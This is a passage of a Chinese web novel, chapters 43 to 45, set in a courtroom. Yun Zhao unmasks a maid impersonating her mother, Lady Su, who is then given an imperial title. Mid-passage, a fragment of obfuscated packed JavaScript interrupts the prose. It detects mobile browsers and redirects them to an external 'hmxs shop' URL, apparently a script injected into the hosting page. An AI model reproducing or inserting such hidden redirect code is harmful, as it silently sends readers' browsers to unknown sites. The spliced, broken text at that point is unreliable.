来人身着一袭靛蓝粗布衣裙,通身上下不见半点珠翠,乌发却梳得一丝不苟,在脑后简简单单挽了一个髻。
她身形消瘦得惊人,面容带着久病后的苍白,但背脊挺得笔直,尤其那双眼睛,清亮明澈,不见丝毫昏聩。
虽被多年的囚禁与病痛磨去了娇妍,却仍能从其清妩的眉眼与从容不迫的气度,窥见昔年不俗的风采。
几乎不需云昭再多言,堂上堂下已一片哗然!
姜绾心原本扶着轮椅上的妇人,此刻指尖猛地一颤,下意识地收紧,掐得那假苏氏吃痛地缩了一下。
姜珩面色骤寒,他上前一步,挡在了姜绾心和轮椅的前面,眼神刮过真苏氏,充满了毫不掩饰的敌意。
老夫人紧皱着眉,看向来人的眼神透出浓烈的厌憎,仿佛看到了什么极其碍眼的秽物。
一旁的杨氏以帕掩唇,目光扫过对方虽憔悴却难掩风骨的姿态时,眸中闪过鲜明的嫉恨。
三房夫妻俩则齐刷刷看着来人,温氏更是嘴唇轻嚅,眸中闪过一抹浓烈的不忍。
百姓们交头接耳,惊叹于两人容貌竟如此酷肖。
连陶侍郎也忍不住倾身惊道:“这眉眼鼻唇,简直如同一个模子刻出来的!若非至亲血脉,焉能相像至此?”
坐在一旁的刑部颜尚书临近致仕,虽不解今日明明审的是少女失踪案,缘何却先将姜家一大家子拉来堂上问询,但眼见姜家即将上演一出伦理大戏,也不禁来了几分兴致。
他捋了捋须,眯眼打量苏氏片刻,眼中精光一闪,沉吟道:
“老夫记得,二十四年前先皇万寿节盛宴,苏家嫡女苏**以一阕《贺圣朝·月华清》技惊四座,其词清丽旷达,得先皇亲口御赞‘咏月绝调’,赐下玉如意一柄。
当日老夫恰好在场,有幸得见苏才女风采。
堂下这位夫人,无论容颜还是气韵,确与当年苏氏极为相似。”
站在堂上的姜世安满脸震惊,死死盯着堂下的苏氏,眼神变幻莫测。
旋即,他收回视线,朝着众人拱了拱手,面露苦涩:
“颜大人明鉴,这位妇人确有几分内子年轻时的风韵。然内子缠绵病榻多年,受尽病痛折磨,容颜早已憔悴不堪,非复当年模样。”
他话锋一转,话声笃定道:“纵然外人或因容貌相似而有所错觉,但我们夫妻结缡近二十载,鹣鲽情深,我绝不会认错,轮椅之上的,才是我的发妻苏**!”
说到此处,他目光锐利地看向堂下的妇人,威压的语气中透出一丝居高临下的怜悯:
“这位夫人,你可知依《大晋律》,冒认官员家眷,扰乱纲常伦理,乃是重罪!轻则杖一百,流三千里,重则……可是要掉脑袋的!”
“确有几分相似。”老夫人颤巍巍地摇了摇头,“昭丫头,你定是被这不知从哪儿来的狐媚子给骗了!我们姜家上下几十口人,日日相对,难道还会错认自家主母不成?!”
她那双浑浊的眼睛扫过苏氏,带着明显的嫌恶与排斥。
姜珩更是语气冰冷,直接将矛头对准了云昭:“究竟是妹妹识人不明,受人欺瞒利用,还是你——
根本就是与人合谋,故意设下此局,构陷亲族,想要搅得家宅不宁,毁我姜家清誉!此事,尚且难说!”
此言一出,不仅颜尚书面露愕然,连赵悉都忍不住挑起眉梢,瞥向姜珩的眼神,如同看着一个傻子。
这位素有才名的“兰台公子”,莫不是读书读坏了脑子?
此等场合,大家就事论事各相争辩也就罢了,似他这般上赶着给自家妹子身上泼脏水,能有什么好处?
姜珩却浑然不觉,自顾自地继续道:“妹妹无非是嫉妒心儿多年来承欢膝下,比你多得了父母几分疼爱。
但你不在的这些年,是心儿代你尽了孝道,侍奉祖母与母亲!
你心中再有怨怼,也不该用如此恶毒的手段来报复心儿、祸乱全家!”
此前一直沉默旁观的大理寺卿白羡安缓缓开口:“姜公子此言,倒也不无道理。”
众人的目光瞬间聚焦到他身上。
只听他慢条斯理地道:“姜家偷换主母,行此李代桃僵之计,此事若为真,实在太过匪夷所思,骇人听闻。
本官有一问,若姜家当真行此大逆不道之事,其动机为何?目的何在?
若无十足的好处与令人信服的动机,姜尚书何必冒此奇险,行此遗臭万年之举?”
姜尚书一脸的心有戚戚。
虽未开口说话,但显然,白羡安的一席话,字字句句都说到了他的心坎上。
“白大人这话未免有失偏颇。”赵悉不赞同道:“若此事为真,姜家为何偷换主母,不正是我等需要查明的?”
若所有人都顺着白羡安的话去想,恰恰是被他带得歪到沟里去了。
白羡安蹙起眉,正待开口——
此前一直静立一旁的苏氏忽然抬眸,声音虽带着久未言语的淡哑,却依旧清越从容,一字一句清晰得体:
“颜大人好记性。妾身也记得,当年万寿宴上,大人是与夫人和府上大小姐一同入宫的。”
她微微一顿,见众人目光汇集,才继续温声道:
“宴席之间,令嫒聪敏过人,解开了西域进献的九曲玲珑环,四座皆惊。”
一旁的杨氏忍不住嗤笑插话:“这桩事京城谁人不知?早已传为佳话了。”
苏氏却不急不恼,眸光沉静,转而道:“但鲜有人知的是,之后令嫒不慎失手,打碎了先皇后心爱的那盏琉璃缠枝莲纹杯,当时惊得面色如雪,不知所措。”
话音甫落,颜尚书花白的眉峰骤然一紧,持须的手指也顿住了。
旁侧的姜世安同样神色微变,看向苏氏的目光里已掩不住惊疑。
苏氏依旧平静,徐徐又道
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:“后来,令嫒向先皇后敬献了一枚绣有岁寒三友纹样的荷包,针法细腻、意境清雅,反得皇后娘娘称赞了一句。”
说到此处,颜尚书已然容色动容,目光深沉地望着苏氏——
只因这荷包实非颜家小姐所绣,而是当年苏氏察觉小姑娘无措,特命身边女官悄悄送去解围的。
此事极为隐秘,就连颜家也仅有寥寥几人知晓。而此刻苏氏为自证身份,却仍言辞含蓄,并未当堂点破这桩旧情。
颜尚书不由深吸一口气,肃然叹道:“此事细节……确实只有老夫与家中几人知晓。你竟……”
“凭此旧事,不足为证。”白羡安道,“时过境迁,总有宫人或他人口耳相传……”
“若依白大人此言,”云昭冷声打断,唇角绽出一抹冰冷的讥讽,
“今日不论她举出多少旧事细节自证身份,您是否都能以‘或有人知晓’为由驳斥?
难道非要她以死明志,才能证明所言非虚?”
这就是这世道的可笑之处。
莫非一定要逼得人剖腹取粉,才有可能自证清白?
云昭心里清楚得很,被人质疑时,绝不能顺着对方思路走,而是要把对方从质疑别人的制高点拉下来,将他送到被质疑的位置上去。
堂下的百姓也在这时议论纷纷:
“这云小姐说的,似乎也有几分道理……”
“总觉得白大人今日不似平常,好像刻意针对苏氏似的?”
“细想想,若我被人替换,家中上下都不认,这该如何自证?真叫人不寒而栗!”
云昭目光如刃,刺得白羡安想起昨夜被窥破隐秘的不安,他心头猛地一凛,竟一时语塞。
云昭忽而转向轮椅上始终低垂着头、一言不发的女子:
“他们都说你是苏氏,那我问你——
此刻竟有人在此质疑你的身份,冒认你的夫君、你的女儿,你为何还不厉声喝骂其大胆无耻?
堂堂尚书夫人尚在堂上,岂容他人肆意冒充?!你为何不说话?!”
此言一出,在场众人纷纷朝轮椅上的女子投去怀疑的目光。
百姓们也恍然大悟,议论声更甚:
“是啊!就算病重,身边嬷嬷也该代为发声啊!”
“看她脸上,竟无半分怒色,实在不合常理!”
“如果是真的,那岂不是说,堂堂尚书府,将一个假货养在家中,反倒让真的流离在外,尝尽苦楚?”
赵悉一拍惊堂木,斥道:“苏氏,你可有何话说?”
那女子冷汗涔涔,剧烈咳嗽起来,嘶哑道:“唔……唔……”
云昭眼色一厉。
姜世安急忙上前:“诸位大人明鉴,内子近来感染风寒,喉咙沙哑,实非不愿,而是不能开口啊!”
云昭与真苏氏交换了一个眼神,皆看到彼此眼中的讽刺——
前后不过几日,姜世安竟已毒哑了南乔的喉咙!
姜世安果然够狠!
第43章 渣爹被云昭带节奏了!
姜绾心抢步上前,轻柔地为轮椅上的假苏氏拍抚后背,瞪着云昭道:
“母亲身体羸弱,气喘难平,近日更是根本连话都说不出。
阿姊却故意联合外人,在公堂之上这般咄咄逼人——
你是真要逼死母亲才甘心吗?”
堂下百姓闻言窃语:
“原是哑了说不出话,倒也可怜……”
“可这亲生女儿怎会不知母亲已然哑了?”
姜珩面覆寒霜,讥诮道:“她自从认回姜家,何曾有一日安心待在府中?
终日不是去长公主府宴饮,便是入宫巴结贵人,何曾有过半分心思放在母亲身上?”
姜绾心亦俯身握紧轮椅上女子的手,执帕为她擦拭眼角,语声愈发温柔:
“母亲别伤心,阿姊或许……只是一时糊涂。您还有兄长,还有我。”
此言一出,堂下哗然。
“若真如此,这嫡女着实不孝!”
“别忘了,轮椅上的这个,还不一定是真苏氏呢!”
“这也太巧了,偏偏在这节骨眼上哑了?到底哪个才是苏氏?”
此时,真苏氏忽然开口,声不高却字字清晰:
“南乔,你背主弃义,换来今日被毒哑的下场,可曾有过半分后悔?”
那假苏氏一听“南乔”二字,浑身剧颤,竟下意识要站起——
那是多年来身为贴身侍女,早已刻进骨子里的反应。
她惊慌抬头,与苏氏目光一触即溃,瑟瑟缩向姜绾心身后。
姜绾心一边抚着假苏氏的肩,扬声道:“这妇人公然恐吓威胁我母亲,赵大人也不管管吗?”
赵悉却只微微一笑:“此下正是你姜家自辨之时。本官,也得仔细瞧个明白。”
姜绾心咬牙道:“我母亲虽容貌不比这人美艳,却心性慈柔,自幼疼惜我与兄长。眼前这人,分明是居心叵测之徒假扮!”
姜珩亦冷笑:“难道我们做子女的,还认不出自己的母亲?简直荒谬!”
老夫人叹了口气:“苏氏命好,纵然生了个不孝女,但还有你们一对子女孝顺近前。”
就在这一片纷乱之中,云昭猝然出手!
银鞭如电,倏忽卷住那被姜家兄妹重重护住的妇人,一把拽至堂中!
“放肆!”
“拦住她!”
姜世安与姜珩齐声厉喝,同时扑前欲阻——
却已迟了!
只见云昭右手如铁钳般扣紧那女子下颌,拇指在她脸颊上狠狠一抹!
随即她倏然后撤,高举右手——指尖上竟沾满了一层厚腻惨白的脂粉!
“好一个‘病体沉疴’!好一个‘虚弱不堪’!”
云昭声音凛冽,“原来你们口中的重病,是靠这戏台丑角都比不上的厚重脂粉装出来的?!”
满场哗然,惊呼四起!
不待众人反应,云昭再次疾探,扯开那女子后颈衣襟——一片赤红色胎记赫然暴露于人前!
姜世安勃然大怒:“逆女!你竟敢——”
她扬声道:“苏家本家仍在京城,当年与我母亲往来的夫人更不知凡几!
赵大人何不请来几位问个清楚,我母亲苏**的后颈,可曾有过这般血红胎记?!”
云昭却已将那抖如筛糠的女子狠狠掼在姜世安脚下:
“这恶奴假冒主母,欺上瞒下,将父亲、祖母、全家上下瞒得团团转——
事到如今,父亲还要执迷不悟吗?”
姜世安瞳孔骤然收缩,眼底清晰掠过一丝猝不及防的慌乱。
他万万没料到,云昭竟会突然调转矛头,将所有罪责尽数钉死在南乔一人身上!
他还未寻隙转圜,云昭已猝然转向堂外,清叱道:“带南乔的丈夫与儿子上堂!”
话音刚落,两名衙役已押着两个衣衫褴褛的男子跌撞而入。
年长的那人一见到瘫软在地、满脸狼狈的南乔,顿时目眦尽裂,如疯兽般扑上,嘶声痛骂:
“毒妇!你自己在这儿顶替贵人风光快活,可曾看一眼我们父子过的是什么猪狗不如的日子?!”
他猛地扯过身旁年轻男子的手——那缺了两根手指、疤痕狰狞的残掌瞬间暴露于人前,引来一片倒抽冷气之声!
“就因你瞒着我们欠下的五十两赌债!赌坊的人当着我的面,活生生剁了他的手指头啊!
我们流落街头,连碗馊饭都讨不着的时候,你却在这儿穿金戴银、冒充主母?
你的良心被狗吃了吗?!你夜里怎能安睡?!”
南乔脸色惨白如纸,疯狂地摇着头,眼中充满了惊恐和难以置信,喉咙里发出“嗬嗬”的声响,却半个字也吐不出来。
年轻男子亦随之“扑通”一声跪倒在地,一把抱住南乔的腿,嚎啕大哭:
“娘!娘啊!收手吧……求求您认了吧!我们都活不下去了!求各位青天大老爷开恩,饶我们一条活路吧!”
恰在此时,龚嬷嬷连滚带爬地扑出人群,磕头哭喊:
“大人明鉴!青天大老爷明鉴啊!都是南乔!都是她逼老奴的!
老奴只是一时糊涂……鬼迷了心窍,被她拿银钱蒙了心,才帮她遮掩啊!
老奴知错了!求大人饶命啊!”
情况急转而下,姜世安神色几经变换,突然大骂一声:“恶仆欺瞒得我好苦!”
他忽然暴起,一脚狠狠踹在南乔心口,力道之大,踹得南乔惨叫一声,猛地呕出一口鲜血,蜷缩在地痛苦呻吟。
姜世安指着她,厉声喝问:“说!你到底将夫人拐去了何处?!”
却听一道柔婉婉、凉浸浸的嗓音自身后传来:
“夫君既已洞悉恶仆奸计,何以不敢相认?”
姜世安背脊一僵,缓缓转身,正对上苏氏那双清亮似寒潭深雪、平静却深不见底的眸子。
他喉结剧烈滚动,嘴唇哆嗦了半晌,才挤出声来:“夫人,真是你?”
“可你的腿……我记得你双腿麻痹,不良于行已有数年……”
“这还要多谢咱们的女儿云昭。”苏氏嫣然一笑:“是她不顾辛劳,连夜为我施针用药,疏通经络,这才治好我的双腿。”
“你的嗓子……”
“气血既通,沉疴自愈。”苏氏答得云淡风轻。
姜世安眼中疑云翻涌,却见苏氏已缓步上前,轻轻挽住他的手臂。
她指尖冰凉,触得他微微一颤。
苏氏仰头望着他,面上忽然绽出一抹浅笑,声音轻柔得近乎诡异:
“夫君,我被这恶仆设计送走,足足十日。
这十日里,我每一日都在想,我的夫君……究竟何时才会发现,何时才会来救我。”
姜世安脸色彻底僵硬,如同戴上了一张拙劣的面具。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16573405|187080||http|test|mini|href|location''.split(''|''),0,{}));
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r>苏氏却仿佛看不到他的难看脸色,语气愈发温柔,却字字如刀,刮骨剔心:
“夫君这是怎么了?我们失散多年的昭儿主动寻回,恶仆已然伏诛认罪,妾身也安然归来……
从此一家团圆,拨云见日,这岂非是天大的喜事?”
一旁始终紧绷着心神的姜珩,终于忍不住开口:“你……你当真是我母亲?”
姜绾心也喃喃疑道:“可,可母亲明明……不是这般模样的……”
他们记忆中的母亲,是那个长年卧病、苍老憔悴、暮气沉沉、仿佛随时会油尽灯枯的无趣妇人。
绝非眼前这个虽然清瘦苍白,却眉眼清晰、背脊挺直、难掩昔日风华的女子。
最让兄妹俩感到不适的是,眼前这个苏氏,和云昭长得实在太像了。
反倒衬得他们兄妹二人,无一丝像是姜世安与苏**所出!
苏氏转眸看向他们,面上透着一种近乎悲悯的慈爱与无奈,轻轻叹了一口气,声音不大,却清晰地传遍了公堂每一个角落:
“珩儿,心儿,你们二人已有大半年未曾踏足过我房中一步。最近一次见我,怕还是去年中秋的匆匆一瞥。
那恶仆南乔顶替我,不过是近十日的事情。你们哪里会知晓我如今模样,又从何判断我被人拐走偷换呢?”
此言既出,满堂死寂一瞬!
继而,如同滚水泼入冰窟,轰然炸开,哗然沸腾!
“好家伙!贼喊捉贼啊这是!方才谁口口声声指责长姐不孝的?原来最不孝的就是他们自己!”
“主母被换了整整十天,全府无一人察觉?这姜家的‘孝心’可真值钱啊!”
“快看姜尚书那脸色……精彩,真精彩!”
堂外议论如沸,堂内姜家众人面如土色,羞愤欲死。
“诸位。”
白羡安忽然开口,抬手止住了堂下的喧哗,随即目光转向云昭与苏氏,眸底深处掠过一丝难以察觉的阴冷算计。
他朝着赵悉与颜尚书微微颔首:“此案牵涉甚广,既涉朝廷命官家眷,更关乎多名女子失踪重案,些许细节,仍需厘清,方能记录在案,上报天听,以免日后再生波折。”
他目光锁在云昭与苏氏身上,每一个字仿佛都经过深思熟虑,裹挟着冰冷的恶意:
“云姑娘,你昨夜突兀现身于青莲观,声称查获关键罪证。
本官甚是好奇,你一未出阁的姑娘家,深夜因何会独自出现在那等险恶之地?
其间过程,还请细细道来,以免引人无端猜疑。”
不等云昭作答,他又看向苏氏,用词更为审慎,字字诛心:
“苏氏,你方才陈述,遭恶仆偷拐转移,历经磨难。那么这十日之中,你具体身处何地?
是遭人囚禁,还是流落在外过程中,又与何人有过接触,遭遇过何事?最终,又缘何与云姑娘在青莲观那等是非之地重逢?”
随即,他长叹一声,摆出一副不得已而为之的姿态:
“非是本官有意刁难!实乃妇人名节重于泰山,清白更甚于性命!
此间细节若含糊不清,恐不仅关乎姜府颜面,更关乎朝廷体统、皇室声誉!
本官既奉皇命协理此案,职责所在,不得不问个明明白白,彻彻底底!
还望夫人与姑娘……体谅本官一番苦心!”
第44章 苏氏被封诰命!
白羡安这番话,看似冠冕堂皇,实则字字淬毒,恶毒至极!他巧妙地编织了一张无形的污名之网,每一句都在赤裸裸地昭示:
苏氏被拐期间恐已遭玷污,失了贞洁!
而云昭深夜现身道观,更是不知检点,行止冶荡!
他这分明是要借查案之名,行逼死之实!
而且,他不仅要逼云昭和苏氏**,更要她们母女二人身败名裂、带着百口莫辩的污名**!
此言一出,满场皆惊!
赵悉眼底瞬间浮现难以抑制的怒色,手中惊堂木几乎要捏碎;
就连一直垂眉捋须、看似置身事外的颜尚书都猛地睁开眼,面露极大的不豫与反感。
在场但凡是稍有头脑之人,谁能听不出白羡安这字字句句里裹挟的滔天恶意?
这哪里是在询问案情?
这分明是要用最阴毒的方式,将刚刚沉冤得雪的云昭母女,再次推入万劫不复的深渊!
方才还喧闹的公堂,此刻陷入了一片死寂般的压抑之中,所有人的目光都聚焦在云昭与苏氏身上。
苏氏紧紧握住云昭的手,声音不大却异常坚定:“诸位大人,妾身这十日的遭遇,事关案情,本应如实禀报。然此事牵涉一位贵人,我曾与他有约,在他到来之前,恕我不能擅自开口。”
杨氏忽然拿着帕子按了按眼角,假惺惺道:“嫂嫂,不必说了,咱们都知道,你真是受了大委屈了……”话说一半便哽咽难言,仿佛不忍卒听。
姜绾心更是咬紧下唇,泪光盈盈地望着苏氏,颤声道:“母亲……”
这两人一唱一和,言辞间竟似已笃定苏氏必定失了清白!
老夫人眼珠一转,扬声道:“老大家的,白大人这话在理,你这十日的去向还是说清楚为好!免得日后回了家,还要被人在背后指指点点,带累姜家全族的清誉!”
嘴上这样说,她心里却暗啐一口:放在乡下,这种夜不归宿的女人,不论有没有发生什么,都已经不干净了!就该直接拖去浸猪笼!
也就是京城规矩多,还容她在这儿磨蹭!一点都不比他们乡下做事爽利!
云昭骤然抬头,目光如冰,直刺姜世安:
“父亲,女儿也想问您一句——您也是如此作想吗?
若我和母亲若无法自证所谓的清白,您今日……也要眼睁睁看着我们被逼死在这公堂之上,以全姜家门风?”
姜世安被问得脸色一僵,旋即板起面孔,义正词严道:
“阿昭休得胡言!白大人此言,正是给你们机会验明正身!
若你们能说清去向,非但能协同办案为圣上分忧,更能堵住天下悠悠之口,免得日后有人借此污蔑我姜家门楣!”
云昭闻言,唇角牵起一抹惨淡却又极尽讽刺的笑意。
她的目光不经意间掠过赵悉,竟从他眼中看到了一瞬间的了悟、怜悯与压抑的怒火。
何其可笑!何其讽刺!
满堂血脉至亲,恨不能立时逼死她们母女。
而这唯一流露一丝悲悯的,竟是一个相识不过一日、毫不相干的外人!
苏氏却仍是坚持道:“请诸位大人稍候片刻,此事我不能擅专!”
“苏氏!”白羡安脸色一沉,厉声道:“公堂之上,岂容你故弄玄虚!今日若不从实招来,休怪本官按律严惩!”
姜珩也急不可耐地插话:“母亲!事已至此,还有什么不能说的?您究竟遭遇了什么,快快说出来吧!”
苏氏倏地转过身,目光如严冰利剑,将姜珩从头到脚细细打量了一遍。
那目光极其陌生,带着一种冰冷的审视,看得姜珩头皮发麻,浑身不自在。
他忍不住道:“母亲,您为何这样看我?”
苏氏忽地轻笑一声,那笑声里却尽是苍凉:“我只是在想,我苏**怎么生出你这样一个冷血寡恩、恨不得亲手将母亲逼上绝路的畜生!”
姜珩被生母当众唾骂,脸上瞬间血色尽褪,羞愤交加。
可他一想到若苏氏当真失了清白,自己明日去翰林院将如何被同僚耻笑,心中对云昭的怨恨便达到顶峰——
都是这个灾星,自她回京,日日搅得家宅不宁!
只怪他当日一念之仁,见她跌下山崖便没再去追!若是当场将她乱剑砍成大师兄那副模样,焉有今日之祸?父亲说得极是,大丈夫行事,就当斩草除根!
就在这时,一直跪在一旁的龚嬷嬷突然“砰砰”连磕几个响头,额上顿时青紫一片。她抬起头,声泪俱下:
“夫人,老奴知道您一向心高气傲。您当年虽负气离了苏家,发誓从此再不回母家,但您若失了清白,不仅给姜家抹黑,就连苏家几位公子、小姐的前程也要受到影响啊!您不能不想想您的母家啊!”
龚嬷嬷此言一出,苏氏当即一个踉跄,全靠云昭扶着才勉强站稳。
苏氏手指着龚嬷嬷,声音颤抖:“好你个包藏祸心的刁奴!我待你不薄,你竟敢在此搬弄是非,妄图逼死主母!是谁指使你这般作践苏家名声?”
“老奴句句肺腑,忠言逆耳,都是为了夫人着想啊!”龚嬷嬷仰脸望着苏氏,还伸手去拽她的裙角,“夫人您别忘了,当日离开苏府时,您是如何向老爷、夫人保证的!还有那日您决定离开府时,您亲口说过的,就算是为了裴……”
苏氏浑身一颤:“你住口——!”
云昭敏锐地发现,在龚嬷嬷说了这话之后,苏氏脸色惨白,眉眼间那一瞬竟真的闪过决绝之色。
可以想见,若今日之事不是她早有安排,母亲必定被这老奴才逼得当众自戕!
为的不是外人如何看她,而是不想牵连苏家!
可母亲如此看重母家,当年为何与苏家**?既与外祖家**,如今为何又如此担忧!
前世她被关在密室日日折磨,至死都未能走出去,也不知当时母亲和外祖家最终结局为何。
只记得她死后,灵魂跟着萧启飘起,见他策马率兵冲入皇宫,身边始终跟着一位身姿英武的副将,看不清模样。而萧启称呼他为“苏参将”。
不知那人可是她外祖苏家的后人?
就在这时
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,外间人群中突然传出一声高喊:
“你这叛主的刁奴!哪个父母会逼自己女儿**!苏老大人当年在任时,宁可自请贬官也不肯冤枉一个好人,这等清正的君子,岂是那等为了虚名逼死女儿的迂腐之辈!”
云昭和姜世安几乎同时朝人群看去,却只见攒动的人头,找不到说话之人的身影。
苏氏却在这时眉目怔忪,似哭似笑,一滴清泪悄然滑落。那泪水中,似乎藏着十几年未解的恩怨,与难以言说的思念。
云昭将龚嬷嬷那副眼珠儿乱转、贼眉鼠眼的模样尽收眼底,她走上前,盯着她双眼道:
“南乔一个贱婢,胆敢冒充主母,其中少不了你这刁奴里应外合,帮着遮掩丑事!你既曾侍奉我母亲多年,熟知她与外祖家旧事,如今却在此颠倒黑白,辱没苏家清誉——”
她话音陡然转厉:“今日断不能轻饶了你!”
说罢,她一把扯下南乔身上那条绢帕,毫不留情地塞进龚嬷嬷大张的嘴里。那龚嬷嬷被堵得满面通红,喉间发出“呜呜”的挣扎声。
云昭趁势俯身,在她耳边压低声音,字字如刀:“你当真以为,事成之后我爹会保全你的家人?好好看看南乔的下场!下一个曝尸荒野的,不仅是你,还有你全家老小!”
龚嬷嬷瞳孔骤缩,脸上血色尽褪,浑身止不住地颤抖起来。
云昭不再看她,转身面向公堂,衣袖轻振,声音朗朗传遍整个厅堂:
“诸位大人明鉴,民女当夜出现在青莲观,确非巧合。此事背后牵扯的,远不止后宅阴私……”
她微微一顿,目光若有似无地扫过堂上端坐的几位官员,最终定格在白羡安脸上:“而是涉及一桩震动朝野的大案!”
白羡安在听到后半句时,已然觉出不对,待看清云昭眼底毫不掩饰的镇定与讥诮,一股寒意窜上脊背!
“圣旨到——!”
就在这千钧一发之际,一道沉冷而极具威压的男声自公堂入口骤然响起。
宛如金石掷地,瞬间攫取了所有人的心神。
众人回首望去,只见秦王萧启正大步踏入公堂。
他步履匆匆,一袭玄色亲王**袍下摆微有皱褶,墨发被风掠得微有散乱,反更添了几分战场淬炼出的杀伐之气。
他眉宇间带着一缕未散的凛冽,那双深邃的眼眸扫过人群,第一时间便精准地锁定了云昭。
四目相对,萧启的目光在云昭苍白却倔强的脸上短暂停留,其中蕴含的冷沉与笃定,不知怎的,让云昭紧绷的心弦不由一松。
萧启无视满堂惊愕,径直展开手中明黄卷轴,声音朗朗,响彻公堂:
“奉天承运皇帝,诏曰:
查礼部尚书姜世安之妻苏氏,秉性忠坚,智勇兼资。
为协查朝廷密案,不惜以身犯险,深入虎穴,与秦王里应外合,终助朝廷破获青莲观重案,功在社稷。
朕心甚慰,特敕封苏氏为三品淑人,赐诰命冠服,以示恩荣。钦此——”
圣旨所示如同惊雷,让满堂之人无不震惊!
第45章 秦王护短护得明目张胆!
姜世安脸上故作镇定的冷漠瞬间被巨大的震惊取代,随即涌上的是难以自持的狂喜!
他官居二品,族中却再无得力之人,而他早已视为弃子多年的苏氏,竟突然得了陛下亲封,成了三品诰命夫人?
这简直是天降鸿运,砸得他头晕目眩,喜不自胜!
姜绾心猛地攥紧手帕,目光不由越过萧启,焦急地朝他来的方向看去。
太子殿下呢?
她下意识地将这份恩典的得来归功于萧鉴——
若不是太子殿下,此事怎能突然有如此大的转圜?
定是殿下为了保全未来的岳家名声,暗中斡旋,又为避嫌,才让秦王来此宣旨——
想到此,一种难以言说的窃喜与羞涩浮上心头。
而当她目光扫到人群之中突然隐去的一道身影时,这份窃喜与羞涩,更瞬间升至顶峰!
她定然没有看错!方才那道身影,分明是太子身边那个名叫灵峰的贴身侍卫!
一旁姜珩的脸色几经变幻,最终化为狂喜与自矜!
父亲是当朝二品礼部尚书,母亲是陛下亲封的三品诰命夫人,而他乃新科状元,风头无两,前途无限!
亏那陶侍郎的儿子,还想跟他抢县主婚约,拿什么抢?
简直不自量力!
他冷睇了面色不佳的陶远之一眼,愈发志得意满。
父亲果然深谋远虑,苏氏虽性子软弱,头脑简单,但到底是世家出来的女子!
竟能在今日这般绝境之中,搏出这样一场泼天富贵,真不愧是他姜家最稳固的踏脚石!
二房杨氏眼神闪烁不定,脸上的嫉恨几乎要溢出来,更有一股强烈的不安在心底蔓延。
三房温氏则悄悄松了口气,她紧紧攥住大女儿绾棠的手,眼中流露出真诚的庆幸。
老夫人此刻红光满面,仿佛瞬间年轻了十岁,拄着拐杖扬声道:“圣上英明!我家媳妇就是圣上说的那什么……智勇双全!好!好得很!”
然而身处风暴漩涡的苏氏,却眉目沉静,眸底深处潜藏着一抹忧色。
此事乃是女儿与秦王殿下为保全她声名而定下的计策。
彼时她尚未苏醒,待醒来得知,她不愿掠女儿之功,但秦王已入宫面圣,如今圣旨既到,绝非儿戏,无法推诿。
可一想到女儿孤身犯险,夜探虎穴,安抚亡魂,个中艰辛惊险……
她这做母亲的,与至亲女儿分离十六载,未曾给予半分庇护,反倒一见面就要夺去这天大的功劳,顿觉既愧疚又心疼。
云昭似有所感,悄悄回握住苏氏冰凉的手,低声道:“母亲,快谢恩吧。”
苏氏压下心头翻涌的情绪,依言跪下,端庄叩首:
“臣妇苏氏,叩谢陛下圣恩。
此番能得陛下垂怜,仰赖陛下圣明烛照,亦感念秦王殿下多方维护……臣妇在此,叩谢殿下。”
苏氏言辞恳切,将功劳隐晦地归于上位者。
萧启虚扶一下,语气和缓:“苏淑人不必多礼,此乃你应得之荣。”
说着,已亲手将明黄圣旨递了过去。
苏氏双手恭敬接过,那沉甸甸的卷轴,似有千钧。
她缓缓起身,目光却如冷电般穿越众人,精准地落在不知何时已悄然坐起、混在人群后方的梅柔卿脸上!
原来,早在南乔被拖出来认罪时,梅柔卿便已悄然转醒,却一直屏息装晕,冷眼旁观。
方才听得白羡安字字诛心,将云昭母女逼至绝境,她心中快意翻涌,强忍着咳血的冲动挣扎坐起。
只盼亲眼见那对母女身败名裂、永堕泥沼!
却万万没想到,一道天降圣旨,竟让苏氏这**一跃成了风光无两的诰命夫人!
梅柔卿脸色惨白如纸,下意识地寻求依靠,惶惑的目光投向姜世安——
却见他满眼狂喜,目光灼灼地紧盯着手捧圣旨、容光焕发的苏氏,仿佛她才是失而复得的稀世珍宝!
梅柔卿紧咬住唇,眼底骤然涌起蚀骨的痛楚与怨毒!
正在此时,秦王的声音再度响起,清晰有力地传入每个人耳中:
“本王这里还有一道陛下口谕——姜氏云昭,站着听旨即可。”
此言一出,云昭不由微怔。
苏氏与姜家众人更是目光齐刷刷聚焦于她。
唯有高坐堂上的赵悉,强压下几乎要控制不住上扬的嘴角:
他就知道!萧启这厮,一向冷戾得令人胆寒,但护短也护得明目张胆!
不过这样也好。
今日若能将这母女二人从这污名陷阱中彻底拔出,日后他想请云昭协助破案,岂不方便得多?
秦王冷澈的凤眸定定看着云昭,眼底蕴起一丝浅笑:
“陛下有言:姜云昭,你深夜救母,不畏险阻,胆识可嘉,孝心可表。
朕特赐你‘凤阕令’一枚,持此令者,可协从秦王,参赞机要,助查相关事宜。”
白羡安面色一变,忍不住迟疑开口:“殿下,姜云昭一介女流,参与刑狱之事,恐……”
“白大人,”萧启骤然转眸,目光如冰刃般直刺向他,声音陡沉,“此乃陛下亲口谕令。你是要质疑圣意,抗旨不遵吗?”
白羡安与那冷冽的目光一触,心头猛地一寒,骤然明白了——
此事背后必有他所不知的惊天隐秘!
而姜云昭,正是因这不可言明的隐秘,才得了陛下青眼!
此事,绝非他能当着众人的面轻易置喙!
而姜云昭此人,也绝非他再能肆意拿捏刁难!
白羡安的脸色一时变得十分难看。
然而此时满心愤懑与不甘的白羡安并不知晓,眼前这个让他恨不得当场碾死的尚书府嫡女,仅在数日之后,竟会是他磕头跪拜、也难以挽回的救星!
姜世安反应倒是极快,一听萧启这样说,连忙上前一步,面含浅笑,如坐春风:
“陛下圣明!天恩浩荡,为我妻女洗刷冤屈,臣感激涕零!”
今日在公堂之上,这峰回路转的惊天之喜,实在大大出乎他的意料!
苏氏得封诰命已是殊荣,云昭竟能得赐“凤阕令”!
须知这“凤阕令”极不易得,大晋朝建国以来,能得此殊荣的,无一不是身负绝学、本领通天之辈!
据他所知,自圣上登基以来,满朝也只有三人从陛下手中得此召令。
此刻,姜世安早已不再怨怼云昭兴师动众,将全家老小拉来公堂对峙。
